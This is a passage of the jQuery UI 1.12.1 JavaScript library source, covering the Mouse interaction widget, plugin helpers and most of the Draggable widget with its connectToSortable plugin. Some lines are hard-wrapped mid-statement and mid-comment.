				parent.css( "overflow-x" ) );
		} ).eq( 0 );

	return position === "fixed" || !scrollParent.length ?
		$( this[ 0 ].ownerDocument || document ) :
		scrollParent;
};




// This file is deprecated
var ie = $.ui.ie = !!/msie [\w.]+/.exec( navigator.userAgent.toLowerCase()
);

/*!
 * jQuery UI Mouse 1.12.1
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */

//>>label: Mouse
//>>group: Widgets
//>>description: Abstracts mouse-based interactions to assist in
creating certain widgets.
//>>docs: http://api.jqueryui.com/mouse/



var mouseHandled = false;
$( document ).on( "mouseup", function() {
	mouseHandled = false;
} );

var widgetsMouse = $.widget( "ui.mouse", {
	version: "1.12.1",
	options: {
		cancel: "input, textarea, button, select, option",
		distance: 1,
		delay: 0
	},
	_mouseInit: function() {
		var that = this;

		this.element
			.on( "mousedown." + this.widgetName, function( event ) {
				return that._mouseDown( event );
			} )
			.on( "click." + this.widgetName, function( event ) {
				if ( true === $.data( event.target, that.widgetName +
".preventClickEvent" ) ) {
					$.removeData( event.target, that.widgetName +
".preventClickEvent" );
					event.stopImmediatePropagation();
					return false;
				}
			} );

		this.started = false;
	},

	// TODO: make sure destroying one instance of mouse doesn't mess with
	// other instances of mouse
	_mouseDestroy: function() {
		this.element.off( "." + this.widgetName );
		if ( this._mouseMoveDelegate ) {
			this.document
				.off( "mousemove." + this.widgetName, this._mouseMoveDelegate
)
				.off( "mouseup." + this.widgetName, this._mouseUpDelegate );
		}
	},

	_mouseDown: function( event ) {

		// don't let more than one widget handle mouseStart
		if ( mouseHandled ) {
			return;
		}

		this._mouseMoved = false;

		// We may have missed mouseup (out of window)
		( this._mouseStarted && this._mouseUp( event ) );

		this._mouseDownEvent = event;

		var that = this,
			btnIsLeft = ( event.which === 1 ),

			// event.target.nodeName works around a bug in IE 8 with
			// disabled inputs (#7620)
			elIsCancel = ( typeof this.options.cancel === "string"
&& event.target.nodeName ?
				$( event.target ).closest( this.options.cancel ).length : false );
		if ( !btnIsLeft || elIsCancel || !this._mouseCapture( event ) ) {
			return true;
		}

		this.mouseDelayMet = !this.options.delay;
		if ( !this.mouseDelayMet ) {
			this._mouseDelayTimer = setTimeout( function() {
				that.mouseDelayMet = true;
			}, this.options.delay );
		}

		if ( this._mouseDistanceMet( event ) && this._mouseDelayMet(
event ) ) {
			this._mouseStarted = ( this._mouseStart( event ) !== false );
			if ( !this._mouseStarted ) {
				event.preventDefault();
				return true;
			}
		}

		// Click event may never have fired (Gecko & Opera)
		if ( true === $.data( event.target, this.widgetName +
".preventClickEvent" ) ) {
			$.removeData( event.target, this.widgetName +
".preventClickEvent" );
		}

		// These delegates are required to keep context
		this._mouseMoveDelegate = function( event ) {
			return that._mouseMove( event );
		};
		this._mouseUpDelegate = function( event ) {
			return that._mouseUp( event );
		};

		this.document
			.on( "mousemove." + this.widgetName, this._mouseMoveDelegate )
			.on( "mouseup." + this.widgetName, this._mouseUpDelegate );

		event.preventDefault();

		mouseHandled = true;
		return true;
	},

	_mouseMove: function( event ) {

		// Only check for mouseups outside the document if you've moved
inside the document
		// at least once. This prevents the firing of mouseup in the case of
IE<9, which will
		// fire a mousemove event if content is placed under the cursor. See
#7778
		// Support: IE <9
		if ( this._mouseMoved ) {

			// IE mouseup check - mouseup happened when mouse was out of window
			if ( $.ui.ie && ( !document.documentMode ||
document.documentMode < 9 ) &&
					!event.button ) {
				return this._mouseUp( event );

			// Iframe mouseup check - mouseup occurred in another document
			} else if ( !event.which ) {

				// Support: Safari <=8 - 9
				// Safari sets which to 0 if you press any of the following keys
				// during a drag (#14461)
				if ( event.originalEvent.altKey || event.originalEvent.ctrlKey ||
						event.originalEvent.metaKey || event.originalEvent.shiftKey ) {
					this.ignoreMissingWhich = true;
				} else if ( !this.ignoreMissingWhich ) {
					return this._mouseUp( event );
				}
			}
		}

		if ( event.which || event.button ) {
			this._mouseMoved = true;
		}

		if ( this._mouseStarted ) {
			this._mouseDrag( event );
			return event.preventDefault();
		}

		if ( this._mouseDistanceMet( event ) && this._mouseDelayMet(
event ) ) {
			this._mouseStarted =
				( this._mouseStart( this._mouseDownEvent, event ) !== false );
			( this._mouseStarted ? this._mouseDrag( event ) : this._mouseUp( event )
);
		}

		return !this._mouseStarted;
	},

	_mouseUp: function( event ) {
		this.document
			.off( "mousemove." + this.widgetName, this._mouseMoveDelegate
)
			.off( "mouseup." + this.widgetName, this._mouseUpDelegate );

		if ( this._mouseStarted ) {
			this._mouseStarted = false;

			if ( event.target === this._mouseDownEvent.target ) {
				$.data( event.target, this.widgetName + ".preventClickEvent",
true );
			}

			this._mouseStop( event );
		}

		if ( this._mouseDelayTimer ) {
			clearTimeout( this._mouseDelayTimer );
			delete this._mouseDelayTimer;
		}

		this.ignoreMissingWhich = false;
		mouseHandled = false;
		event.preventDefault();
	},

	_mouseDistanceMet: function( event ) {
		return ( Math.max(
				Math.abs( this._mouseDownEvent.pageX - event.pageX ),
				Math.abs( this._mouseDownEvent.pageY - event.pageY )
			) >= this.options.distance
		);
	},

	_mouseDelayMet: function( /* event */ ) {
		return this.mouseDelayMet;
	},

	// These are placeholder methods, to be overriden by extending plugin
	_mouseStart: function( /* event */ ) {},
	_mouseDrag: function( /* event */ ) {},
	_mouseStop: function( /* event */ ) {},
	_mouseCapture: function( /* event */ ) { return true; }
} );




// $.ui.plugin is deprecated. Use $.widget() extensions instead.
var plugin = $.ui.plugin = {
	add: function( module, option, set ) {
		var i,
			proto = $.ui[ module ].prototype;
		for ( i in set ) {
			proto.plugins[ i ] = proto.plugins[ i ] || [];
			proto.plugins[ i ].push( [ option, set[ i ] ] );
		}
	},
	call: function( instance, name, args, allowDisconnected ) {
		var i,
			set = instance.plugins[ name ];

		if ( !set ) {
			return;
		}

		if ( !allowDisconnected && ( !instance.element[ 0 ].parentNode ||
				instance.element[ 0 ].parentNode.nodeType === 11 ) ) {
			return;
		}

		for ( i = 0; i < set.length; i++ ) {
			if ( instance.options[ set[ i ][ 0 ] ] ) {
				set[ i ][ 1 ].apply( instance.element, args );
			}
		}
	}
};



var safeActiveElement = $.ui.safeActiveElement = function( document ) {
	var activeElement;

	// Support: IE 9 only
	// IE9 throws an "Unspecified error" accessing
document.activeElement from an <iframe>
	try {
		activeElement = document.activeElement;
	} catch ( error ) {
		activeElement = document.body;
	}

	// Support: IE 9 - 11 only
	// IE may return null instead of an element
	// Interestingly, this only seems to occur when NOT in an iframe
	if ( !activeElement ) {
		activeElement = document.body;
	}

	// Support: IE 11 only
	// IE11 returns a seemingly empty object in some cases when accessing
	// document.activeElement from an <iframe>
	if ( !activeElement.nodeName ) {
		activeElement = document.body;
	}

	return activeElement;
};



var safeBlur = $.ui.safeBlur = function( element ) {

	// Support: IE9 - 10 only
	// If the <body> is blurred, IE will switch windows, see #9420
	if ( element && element.nodeName.toLowerCase() !==
"body" ) {
		$( element ).trigger( "blur" );
	}
};


/*!
 * jQuery UI Draggable 1.12.1
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */

//>>label: Draggable
//>>group: Interactions
//>>description: Enables dragging functionality for any element.
//>>docs: http://api.jqueryui.com/draggable/
//>>demos: http://jqueryui.com/draggable/
//>>css.structure: ../../themes/base/draggable.css



$.widget( "ui.draggable", $.ui.mouse, {
	version: "1.12.1",
	widgetEventPrefix: "drag",
	options: {
		addClasses: true,
		appendTo: "parent",
		axis: false,
		connectToSortable: false,
		containment: false,
		cursor: "auto",
		cursorAt: false,
		grid: false,
		handle: false,
		helper: "original",
		iframeFix: false,
		opacity: false,
		refreshPositions: false,
		revert: false,
		revertDuration: 500,
		scope: "default",
		scroll: true,
		scrollSensitivity: 20,
		scrollSpeed: 20,
		snap: false,
		snapMode: "both",
		snapTolerance: 20,
		stack: false,
		zIndex: false,

		// Callbacks
		drag: null,
		start: null,
		stop: null
	},
	_create: function() {

		if ( this.options.helper === "original" ) {
			this._setPositionRelative();
		}
		if ( this.options.addClasses ) {
			this._addClass( "ui-draggable" );
		}
		this._setHandleClassName();

		this._mouseInit();
	},

	_setOption: function( key, value ) {
		this._super( key, value );
		if ( key === "handle" ) {
			this._removeHandleClassName();
			this._setHandleClassName();
		}
	},

	_destroy: function() {
		if ( ( this.helper || this.element ).is(
".ui-draggable-dragging" ) ) {
			this.destroyOnClear = true;
			return;
		}
		this._removeHandleClassName();
		this._mouseDestroy();
	},

	_mouseCapture: function( event ) {
		var o = this.options;

		// Among others, prevent a drag on a resizable-handle
		if ( this.helper || o.disabled ||
				$( event.target ).closest( ".ui-resizable-handle" ).length
> 0 ) {
			return false;
		}

		//Quit if we're not on a valid handle
		this.handle = this._getHandle( event );
		if ( !this.handle ) {
			return false;
		}

		this._blurActiveElement( event );

		this._blockFrames( o.iframeFix === true ? "iframe" :
o.iframeFix );

		return true;

	},

	_blockFrames: function( selector ) {
		this.iframeBlocks = this.document.find( selector ).map( function() {
			var iframe = $( this );

			return $( "<div>" )
				.css( "position", "absolute" )
				.appendTo( iframe.parent() )
				.outerWidth( iframe.outerWidth() )
				.outerHeight( iframe.outerHeight() )
				.offset( iframe.offset() )[ 0 ];
		} );
	},

	_unblockFrames: function() {
		if ( this.iframeBlocks ) {
			this.iframeBlocks.remove();
			delete this.iframeBlocks;
		}
	},

	_blurActiveElement: function( event ) {
		var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ),
			target = $( event.target );

		// Don't blur if the event occurred on an element that is within
		// the currently focused element
		// See #10527, #12472
		if ( target.closest( activeElement ).length ) {
			return;
		}

		// Blur any element that currently has focus, see #4261
		$.ui.safeBlur( activeElement );
	},

	_mouseStart: function( event ) {

		var o = this.options;

		//Create and append the visible helper
		this.helper = this._createHelper( event );

		this._addClass( this.helper, "ui-draggable-dragging" );

		//Cache the helper size
		this._cacheHelperProportions();

		//If ddmanager is used for droppables, set the global draggable
		if ( $.ui.ddmanager ) {
			$.ui.ddmanager.current = this;
		}

		/*
		 * - Position generation -
		 * This block generates everything position related - it's the core
of draggables.
		 */

		//Cache the margins of the original element
		this._cacheMargins();

		//Store the helper's css position
		this.cssPosition = this.helper.css( "position" );
		this.scrollParent = this.helper.scrollParent( true );
		this.offsetParent = this.helper.offsetParent();
		this.hasFixedAncestor = this.helper.parents().filter( function() {
				return $( this ).css( "position" ) === "fixed";
			} ).length > 0;

		//The element's absolute position on the page minus margins
		this.positionAbs = this.element.offset();
		this._refreshOffsets( event );

		//Generate the original position
		this.originalPosition = this.position = this._generatePosition( event,
false );
		this.originalPageX = event.pageX;
		this.originalPageY = event.pageY;

		//Adjust the mouse offset relative to the helper if "cursorAt"
is supplied
		( o.cursorAt && this._adjustOffsetFromHelper( o.cursorAt ) );

		//Set a containment if given in the options
		this._setContainment();

		//Trigger event + callbacks
		if ( this._trigger( "start", event ) === false ) {
			this._clear();
			return false;
		}

		//Recache the helper size
		this._cacheHelperProportions();

		//Prepare the droppable offsets
		if ( $.ui.ddmanager && !o.dropBehaviour ) {
			$.ui.ddmanager.prepareOffsets( this, event );
		}

		// Execute the drag once - this causes the helper not to be visible
before getting its
		// correct position
		this._mouseDrag( event, true );

		// If the ddmanager is used for droppables, inform the manager that
dragging has started
		// (see #5003)
		if ( $.ui.ddmanager ) {
			$.ui.ddmanager.dragStart( this, event );
		}

		return true;
	},

	_refreshOffsets: function( event ) {
		this.offset = {
			top: this.positionAbs.top - this.margins.top,
			left: this.positionAbs.left - this.margins.left,
			scroll: false,
			parent: this._getParentOffset(),
			relative: this._getRelativeOffset()
		};

		this.offset.click = {
			left: event.pageX - this.offset.left,
			top: event.pageY - this.offset.top
		};
	},

	_mouseDrag: function( event, noPropagation ) {

		// reset any necessary cached properties (see #5009)
		if ( this.hasFixedAncestor ) {
			this.offset.parent = this._getParentOffset();
		}

		//Compute the helpers position
		this.position = this._generatePosition( event, true );
		this.positionAbs = this._convertPositionTo( "absolute" );

		//Call plugins and callbacks and use the resulting position if something
is returned
		if ( !noPropagation ) {
			var ui = this._uiHash();
			if ( this._trigger( "drag", event, ui ) === false ) {
				this._mouseUp( new $.Event( "mouseup", event ) );
				return false;
			}
			this.position = ui.position;
		}

		this.helper[ 0 ].style.left = this.position.left + "px";
		this.helper[ 0 ].style.top = this.position.top + "px";

		if ( $.ui.ddmanager ) {
			$.ui.ddmanager.drag( this, event );
		}

		return false;
	},

	_mouseStop: function( event ) {

		//If we are using droppables, inform the manager about the drop
		var that = this,
			dropped = false;
		if ( $.ui.ddmanager && !this.options.dropBehaviour ) {
			dropped = $.ui.ddmanager.drop( this, event );
		}

		//if a drop comes from outside (a sortable)
		if ( this.dropped ) {
			dropped = this.dropped;
			this.dropped = false;
		}

		if ( ( this.options.revert === "invalid" && !dropped )
||
				( this.options.revert === "valid" && dropped ) ||
				this.options.revert === true || ( $.isFunction( this.options.revert )
&&
				this.options.revert.call( this.element, dropped ) )
		) {
			$( this.helper ).animate(
				this.originalPosition,
				parseInt( this.options.revertDuration, 10 ),
				function() {
					if ( that._trigger( "stop", event ) !== false ) {
						that._clear();
					}
				}
			);
		} else {
			if ( this._trigger( "stop", event ) !== false ) {
				this._clear();
			}
		}

		return false;
	},

	_mouseUp: function( event ) {
		this._unblockFrames();

		// If the ddmanager is used for droppables, inform the manager that
dragging has stopped
		// (see #5003)
		if ( $.ui.ddmanager ) {
			$.ui.ddmanager.dragStop( this, event );
		}

		// Only need to focus if the event occurred on the draggable itself, see
#10527
		if ( this.handleElement.is( event.target ) ) {

			// The interaction is over; whether or not the click resulted in a drag,
			// focus the element
			this.element.trigger( "focus" );
		}

		return $.ui.mouse.prototype._mouseUp.call( this, event );
	},

	cancel: function() {

		if ( this.helper.is( ".ui-draggable-dragging" ) ) {
			this._mouseUp( new $.Event( "mouseup", { target: this.element[
0 ] } ) );
		} else {
			this._clear();
		}

		return this;

	},

	_getHandle: function( event ) {
		return this.options.handle ?
			!!$( event.target ).closest( this.element.find( this.options.handle )
).length :
			true;
	},

	_setHandleClassName: function() {
		this.handleElement = this.options.handle ?
			this.element.find( this.options.handle ) : this.element;
		this._addClass( this.handleElement, "ui-draggable-handle" );
	},

	_removeHandleClassName: function() {
		this._removeClass( this.handleElement, "ui-draggable-handle" );
	},

	_createHelper: function( event ) {

		var o = this.options,
			helperIsFunction = $.isFunction( o.helper ),
			helper = helperIsFunction ?
				$( o.helper.apply( this.element[ 0 ], [ event ] ) ) :
				( o.helper === "clone" ?
					this.element.clone().removeAttr( "id" ) :
					this.element );

		if ( !helper.parents( "body" ).length ) {
			helper.appendTo( ( o.appendTo === "parent" ?
				this.element[ 0 ].parentNode :
				o.appendTo ) );
		}

		// Http://bugs.jqueryui.com/ticket/9446
		// a helper function can return the original element
		// which wouldn't have been set to relative in _create
		if ( helperIsFunction && helper[ 0 ] === this.element[ 0 ] ) {
			this._setPositionRelative();
		}

		if ( helper[ 0 ] !== this.element[ 0 ] &&
				!( /(fixed|absolute)/ ).test( helper.css( "position" ) ) ) {
			helper.css( "position", "absolute" );
		}

		return helper;

	},

	_setPositionRelative: function() {
		if ( !( /^(?:r|a|f)/ ).test( this.element.css( "position" ) ) )
{
			this.element[ 0 ].style.position = "relative";
		}
	},

	_adjustOffsetFromHelper: function( obj ) {
		if ( typeof obj === "string" ) {
			obj = obj.split( " " );
		}
		if ( $.isArray( obj ) ) {
			obj = { left: +obj[ 0 ], top: +obj[ 1 ] || 0 };
		}
		if ( "left" in obj ) {
			this.offset.click.left = obj.left + this.margins.left;
		}
		if ( "right" in obj ) {
			this.offset.click.left = this.helperProportions.width - obj.right +
this.margins.left;
		}
		if ( "top" in obj ) {
			this.offset.click.top = obj.top + this.margins.top;
		}
		if ( "bottom" in obj ) {
			this.offset.click.top = this.helperProportions.height - obj.bottom +
this.margins.top;
		}
	},

	_isRootNode: function( element ) {
		return ( /(html|body)/i ).test( element.tagName ) || element ===
this.document[ 0 ];
	},

	_getParentOffset: function() {

		//Get the offsetParent and cache its position
		var po = this.offsetParent.offset(),
			document = this.document[ 0 ];

		// This is a special case where we need to modify a offset calculated on
start, since the
		// following happened:
		// 1. The position of the helper is absolute, so it's position is
calculated based on the
		// next positioned parent
		// 2. The actual offset parent is a child of the scroll parent, and the
scroll parent isn't
		// the document, which means that the scroll is included in the initial
calculation of the
		// offset of the parent, and never recalculated upon drag
		if ( this.cssPosition === "absolute" &&
this.scrollParent[ 0 ] !== document &&
				$.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) {
			po.left += this.scrollParent.scrollLeft();
			po.top += this.scrollParent.scrollTop();
		}

		if ( this._isRootNode( this.offsetParent[ 0 ] ) ) {
			po = { top: 0, left: 0 };
		}

		return {
			top: po.top + ( parseInt( this.offsetParent.css(
"borderTopWidth" ), 10 ) || 0 ),
			left: po.left + ( parseInt( this.offsetParent.css(
"borderLeftWidth" ), 10 ) || 0 )
		};

	},

	_getRelativeOffset: function() {
		if ( this.cssPosition !== "relative" ) {
			return { top: 0, left: 0 };
		}

		var p = this.element.position(),
			scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] );

		return {
			top: p.top - ( parseInt( this.helper.css( "top" ), 10 ) || 0 )
+
				( !scrollIsRootNode ? this.scrollParent.scrollTop() : 0 ),
			left: p.left - ( parseInt( this.helper.css( "left" ), 10 ) ||
0 ) +
				( !scrollIsRootNode ? this.scrollParent.scrollLeft() : 0 )
		};

	},

	_cacheMargins: function() {
		this.margins = {
			left: ( parseInt( this.element.css( "marginLeft" ), 10 ) || 0
),
			top: ( parseInt( this.element.css( "marginTop" ), 10 ) || 0 ),
			right: ( parseInt( this.element.css( "marginRight" ), 10 ) ||
0 ),
			bottom: ( parseInt( this.element.css( "marginBottom" ), 10 )
|| 0 )
		};
	},

	_cacheHelperProportions: function() {
		this.helperProportions = {
			width: this.helper.outerWidth(),
			height: this.helper.outerHeight()
		};
	},

	_setContainment: function() {

		var isUserScrollable, c, ce,
			o = this.options,
			document = this.document[ 0 ];

		this.relativeContainer = null;

		if ( !o.containment ) {
			this.containment = null;
			return;
		}

		if ( o.containment === "window" ) {
			this.containment = [
				$( window ).scrollLeft() - this.offset.relative.left -
this.offset.parent.left,
				$( window ).scrollTop() - this.offset.relative.top -
this.offset.parent.top,
				$( window ).scrollLeft() + $( window ).width() -
					this.helperProportions.width - this.margins.left,
				$( window ).scrollTop() +
					( $( window ).height() || document.body.parentNode.scrollHeight ) -
					this.helperProportions.height - this.margins.top
			];
			return;
		}

		if ( o.containment === "document" ) {
			this.containment = [
				0,
				0,
				$( document ).width() - this.helperProportions.width -
this.margins.left,
				( $( document ).height() || document.body.parentNode.scrollHeight ) -
					this.helperProportions.height - this.margins.top
			];
			return;
		}

		if ( o.containment.constructor === Array ) {
			this.containment = o.containment;
			return;
		}

		if ( o.containment === "parent" ) {
			o.containment = this.helper[ 0 ].parentNode;
		}

		c = $( o.containment );
		ce = c[ 0 ];

		if ( !ce ) {
			return;
		}

		isUserScrollable = /(scroll|auto)/.test( c.css( "overflow" ) );

		this.containment = [
			( parseInt( c.css( "borderLeftWidth" ), 10 ) || 0 ) +
				( parseInt( c.css( "paddingLeft" ), 10 ) || 0 ),
			( parseInt( c.css( "borderTopWidth" ), 10 ) || 0 ) +
				( parseInt( c.css( "paddingTop" ), 10 ) || 0 ),
			( isUserScrollable ? Math.max( ce.scrollWidth, ce.offsetWidth ) :
ce.offsetWidth ) -
				( parseInt( c.css( "borderRightWidth" ), 10 ) || 0 ) -
				( parseInt( c.css( "paddingRight" ), 10 ) || 0 ) -
				this.helperProportions.width -
				this.margins.left -
				this.margins.right,
			( isUserScrollable ? Math.max( ce.scrollHeight, ce.offsetHeight ) :
ce.offsetHeight ) -
				( parseInt( c.css( "borderBottomWidth" ), 10 ) || 0 ) -
				( parseInt( c.css( "paddingBottom" ), 10 ) || 0 ) -
				this.helperProportions.height -
				this.margins.top -
				this.margins.bottom
		];
		this.relativeContainer = c;
	},

	_convertPositionTo: function( d, pos ) {

		if ( !pos ) {
			pos = this.position;
		}

		var mod = d === "absolute" ? 1 : -1,
			scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] );

		return {
			top: (

				// The absolute mouse position
				pos.top	+

				// Only for relative positioned nodes: Relative offset from element to
offset parent
				this.offset.relative.top * mod +

				// The offsetParent's offset without borders (offset + border)
				this.offset.parent.top * mod -
				( ( this.cssPosition === "fixed" ?
					-this.offset.scroll.top :
					( scrollIsRootNode ? 0 : this.offset.scroll.top ) ) * mod )
			),
			left: (

				// The absolute mouse position
				pos.left +

				// Only for relative positioned nodes: Relative offset from element to
offset parent
				this.offset.relative.left * mod +

				// The offsetParent's offset without borders (offset + border)
				this.offset.parent.left * mod	-
				( ( this.cssPosition === "fixed" ?
					-this.offset.scroll.left :
					( scrollIsRootNode ? 0 : this.offset.scroll.left ) ) * mod )
			)
		};

	},

	_generatePosition: function( event, constrainPosition ) {

		var containment, co, top, left,
			o = this.options,
			scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ),
			pageX = event.pageX,
			pageY = event.pageY;

		// Cache the scroll
		if ( !scrollIsRootNode || !this.offset.scroll ) {
			this.offset.scroll = {
				top: this.scrollParent.scrollTop(),
				left: this.scrollParent.scrollLeft()
			};
		}

		/*
		 * - Position constraining -
		 * Constrain the position to a mix of grid, containment.
		 */

		// If we are not dragging yet, we won't check for options
		if ( constrainPosition ) {
			if ( this.containment ) {
				if ( this.relativeContainer ) {
					co = this.relativeContainer.offset();
					containment = [
						this.containment[ 0 ] + co.left,
						this.containment[ 1 ] + co.top,
						this.containment[ 2 ] + co.left,
						this.containment[ 3 ] + co.top
					];
				} else {
					containment = this.containment;
				}

				if ( event.pageX - this.offset.click.left < containment[ 0 ] ) {
					pageX = containment[ 0 ] + this.offset.click.left;
				}
				if ( event.pageY - this.offset.click.top < containment[ 1 ] ) {
					pageY = containment[ 1 ] + this.offset.click.top;
				}
				if ( event.pageX - this.offset.click.left > containment[ 2 ] ) {
					pageX = containment[ 2 ] + this.offset.click.left;
				}
				if ( event.pageY - this.offset.click.top > containment[ 3 ] ) {
					pageY = containment[ 3 ] + this.offset.click.top;
				}
			}

			if ( o.grid ) {

				//Check for grid elements set to 0 to prevent divide by 0 error causing
invalid
				// argument errors in IE (see ticket #6950)
				top = o.grid[ 1 ] ? this.originalPageY + Math.round( ( pageY -
					this.originalPageY ) / o.grid[ 1 ] ) * o.grid[ 1 ] :
this.originalPageY;
				pageY = containment ? ( ( top - this.offset.click.top >=
containment[ 1 ] ||
					top - this.offset.click.top > containment[ 3 ] ) ?
						top :
						( ( top - this.offset.click.top >= containment[ 1 ] ) ?
							top - o.grid[ 1 ] : top + o.grid[ 1 ] ) ) : top;

				left = o.grid[ 0 ] ? this.originalPageX +
					Math.round( ( pageX - this.originalPageX ) / o.grid[ 0 ] ) * o.grid[ 0
] :
					this.originalPageX;
				pageX = containment ? ( ( left - this.offset.click.left >=
containment[ 0 ] ||
					left - this.offset.click.left > containment[ 2 ] ) ?
						left :
						( ( left - this.offset.click.left >= containment[ 0 ] ) ?
							left - o.grid[ 0 ] : left + o.grid[ 0 ] ) ) : left;
			}

			if ( o.axis === "y" ) {
				pageX = this.originalPageX;
			}

			if ( o.axis === "x" ) {
				pageY = this.originalPageY;
			}
		}

		return {
			top: (

				// The absolute mouse position
				pageY -

				// Click offset (relative to the element)
				this.offset.click.top -

				// Only for relative positioned nodes: Relative offset from element to
offset parent
				this.offset.relative.top -

				// The offsetParent's offset without borders (offset + border)
				this.offset.parent.top +
				( this.cssPosition === "fixed" ?
					-this.offset.scroll.top :
					( scrollIsRootNode ? 0 : this.offset.scroll.top ) )
			),
			left: (

				// The absolute mouse position
				pageX -

				// Click offset (relative to the element)
				this.offset.click.left -

				// Only for relative positioned nodes: Relative offset from element to
offset parent
				this.offset.relative.left -

				// The offsetParent's offset without borders (offset + border)
				this.offset.parent.left +
				( this.cssPosition === "fixed" ?
					-this.offset.scroll.left :
					( scrollIsRootNode ? 0 : this.offset.scroll.left ) )
			)
		};

	},

	_clear: function() {
		this._removeClass( this.helper, "ui-draggable-dragging" );
		if ( this.helper[ 0 ] !== this.element[ 0 ] &&
!this.cancelHelperRemoval ) {
			this.helper.remove();
		}
		this.helper = null;
		this.cancelHelperRemoval = false;
		if ( this.destroyOnClear ) {
			this.destroy();
		}
	},

	// From now on bulk stuff - mainly helpers

	_trigger: function( type, event, ui ) {
		ui = ui || this._uiHash();
		$.ui.plugin.call( this, type, [ event, ui, this ], true );

		// Absolute position and offset (see #6884 ) have to be recalculated
after plugins
		if ( /^(drag|start|stop)/.test( type ) ) {
			this.positionAbs = this._convertPositionTo( "absolute" );
			ui.offset = this.positionAbs;
		}
		return $.Widget.prototype._trigger.call( this, type, event, ui );
	},

	plugins: {},

	_uiHash: function() {
		return {
			helper: this.helper,
			position: this.position,
			originalPosition: this.originalPosition,
			offset: this.positionAbs
		};
	}

} );

$.ui.plugin.add( "draggable", "connectToSortable", {
	start: function( event, ui, draggable ) {
		var uiSortable = $.extend( {}, ui, {
			item: draggable.element
		} );

		draggable.sortables = [];
		$( draggable.options.connectToSortable ).each( function() {
			var sortable = $( this ).sortable( "instance" );

			if ( sortable && !sortable.options.disabled ) {
				draggable.sortables.push( sortable );

				// RefreshPositions is called at drag start to refresh the
containerCache
				// which is used in drag. This ensures it's initialized and
synchronized
				// with any changes that might have happened on the page since
initialization.
				sortable.refreshPositions();
				sortable._trigger( "activate", event, uiSortable );
			}
		} );
	},
	stop: function( event, ui, draggable ) {
		var uiSortable = $.extend( {}, ui, {
			item: draggable.element
		} );

		draggable.cancelHelperRemoval = false;

		$.each( draggable.sortables, function() {
			var sortable = this;

			if ( sortable.isOver ) {
				sortable.isOver = 0;

				// Allow this sortable to handle removing the helper
				draggable.cancelHelperRemoval = true;
				sortable.cancelHelperRemoval = false;

				// Use _storedCSS To restore properties in the sortable,
				// as this also handles revert (#9675) since the draggable
				// may have modified them in unexpected ways (#8809)
				sortable._storedCSS = {
					position: sortable.placeholder.css( "position" ),
					top: sortable.placeholder.css( "top" ),
					left: sortable.placeholder.css( "left" )
				};

				sortable._mouseStop( event );

				// Once drag has ended, the sortable should return to using
				// its original helper, not the shared helper from draggable
				sortable.options.helper = sortable.options._helper;
			} else {

				// Prevent this Sortable from removing the helper.
				// However, don't set the draggable to remove the helper
				// either as another connected Sortable may yet handle the removal.
				sortable.cancelHelperRemoval = true;

				sortable._trigger( "deactivate", event, uiSortable );
			}
		} );
	},
	drag: function( event, ui, draggable ) {
		$.each( draggable.sortables, function() {
			var innermostIntersecting = false,
				sortable = this;

			// Copy over variables that sortable's _intersectsWith uses
			sortable.positionAbs = draggable.positionAbs;
			sortable.helperProportions = draggable.helperProportions;
			sortable.offset.click = draggable.offset.click;

			if ( sortable._intersectsWith( sortable.containerCache ) ) {
				innermostIntersecting = true;

				$.each( draggable.sortables, function() {

					// Copy over variables that sortable's _intersectsWith uses
					this.positionAbs = draggable.positionAbs;
					this.helperProportions = draggable.helperProportions;
					this.offset.click = draggable.offset.click;

					if ( this !== sortable &&
							this._intersectsWith( this.containerCache ) &&
							$.contains( sortable.element[ 0 ], this.element[ 0 ] ) ) {
						innermostIntersecting = false;
					}

					return innermostIntersecting;
				} );
			}

			if ( innermostIntersecting ) {

				// If it intersects, we use a little isOver variable and set it once,
				// so that the move-in stuff gets fired only once.
				if ( !sortable.isOver ) {
					sortable.isOver = 1;

					// Store draggable's parent in case we need to reappend to it
later.
					draggable._parent = ui.helper.parent();

					sortable.currentItem = ui.helper
						.appendTo( sortable.element )
						.data( "ui-sortable-item", true );

					// Store helper option to later restore it
					sortable.options._helper = sortable.options.helper;

					sortable.options.helper = function() {
						return ui.helper[ 0 ];
					};

					// Fire the start events of the sortable with our passed browser
event,
					// and our own helper (so it doesn't create a new one)
					event.target = sortable.currentItem[ 0 ];
					sortable._mouseCapture( event, true );
					sortable._mouseStart( event, true, true );

					// Because the browser event is way off the new appended portlet,
					// modify necessary variables to reflect the changes
					sortable.offset.click.top = draggable.offset.click.top;
					sortable.offset.click.left = draggable.offset.click.left;
					sortable.offset.parent.left -= draggable.offset.parent.left -
						sortable.offset.parent.left;
					sortable.offset.parent.top -= draggable.offset.parent.top -
						sortable.offset.parent.top;

					draggable._trigger( "toSortable", event );

					// Inform draggable that the helper is in a valid drop zone,
					// used solely in the revert option to handle
"valid/invalid".
					draggable.dropped = sortable.element;

					// Need to refreshPositions of all sortables in the case that
					// adding to one sortable changes the location of the other sortables
(#9675)
					$.each( draggable.sortables, function() {
						this.refreshPositions();
					} );

					// Hack so receive/update callbacks work (mostly)
					draggable.currentItem = draggable.element;
					sortable.fromOutside = draggable;
				}

				if ( sortable.currentItem ) {
					sortable._mouseDrag( event );

					// Copy the sortable's position because the draggable's can
potentially reflect
					// a relative position, while sortable is always absolute, which the
dragged
					// element has now become. (#8809)
					ui.position = sortable.position;
				}
			} else {

				// If it doesn't intersect with the sortable, and it intersected
before,
				// we fake the drag stop of the sortable, but make sure it doesn't
remove
				// the helper by using cancelHelperRemoval.
				if ( sortable.isOver ) {

					sortable.isOver = 0;
					sortable.cancelHelperRemoval = true;

					// Calling sortable's mouseStop would trigger a revert,
					// so revert must be temporarily false until after mouseStop is
called.
					sortable.options._revert = sortable.options.revert;
					sortable.options.revert = false;

					sortable._trigger( "out", event, sortable._uiHash( sortable
) );
					sortable._mouseStop( event, true );

					// Restore sortable behaviors that were modfied
					// when the draggable entered the sortable area (#9481)
					sortable.options.revert = sortable.options._revert;
					sortable.options.helper = sortable.options._helper;

					if ( sortable.placeholder ) {
						sortable.placeholder.remove();
					}

					// Restore and recalculate the draggable's offset considering the
sortable
